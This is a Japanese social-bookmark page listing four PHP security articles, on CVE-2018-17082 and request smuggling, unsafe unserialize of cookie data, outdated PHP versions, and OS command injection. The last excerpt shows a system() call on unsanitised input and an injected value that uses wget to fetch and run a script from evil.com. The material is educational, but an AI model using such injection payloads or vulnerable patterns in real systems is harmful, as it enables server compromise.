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phpとSecurityに関するkenzy_nのブックマーク (4)

  • PHPの脆弱性CVE-2018-17082はApacheの脆弱性CVE-2015-3183を修正したら発現するようになったというお話

    最近自宅引きこもりで時間ができたので、YouTube動画を投稿するようになりました。みんな見てねー。 徳丸浩のウェブセキュリティ講座 そんなことで、次の動画は、お気に入りのPHPの脆弱性 CVE-2018-17082 を取り上げようと思ったんですよ。表向きXSSで出ているけど、金床さんのツッコミにもあるように、実はHTTP Request Smuggling(HRS)だというやつです。でね、下準備であらためて調べていると、なんかよく分からない挙動がワラワラと出てくる。なんじゃ、こりゃ。CVE-2018-17082 全然分からない。僕は気分で CVE-2018-17082 を扱っている… で、雑に整理すると、以下のような感じなんです。 古い環境だとCVE-2018-17082は発現しない(2015年以前) 少し古い環境だとCVE-2018-17082は発現する 新しい環境だとCVE-2018

  • PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

    既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。 ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。 $status = array( "height" => 167, "weight" => 50, "sight" => 1.2 ); setcookie("status", serialize($status)); クッキーの受け取り側は以下のコードです。 print_r(unserialize($_COOKIE['status'])); 出力結果は以下

  • サポート終了後のPHPを使用しているWebサイトは8割 - IPA

    IPA(独立行政法人情報処理推進機構)は、IPAが脆弱性の届出を受けたWebサイトで使用されているWebサーバ関連ソフトウェアのバージョン確認を実施し、その結果を踏まえ、サイト運営組織および管理者向けに「サーバソフトウェアが最新版に更新されにくい現状および対策」を4月25日からIPAのWebサイトで公開した。 IPAが、2013年4月15日から2014年1月16日にかけてJPCERTコーディネーションセンターが発表した四半期別のインシデント報告対応レポート4通をもとに算出したところ、Webサイトの改竄が7,409件発生したことがわかった。 それらの中には閲覧者のウイルス感染やWebサイトからの情報漏洩が発生しているが、原因の1つにWebサーバ構築に用いられているソフトが古いバージョンのままで、脆弱性が未修正であったことが挙げられる。 これを受け、IPAは「PHP」「Apache」「IIS」

    サポート終了後のPHPを使用しているWebサイトは8割 - IPA
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

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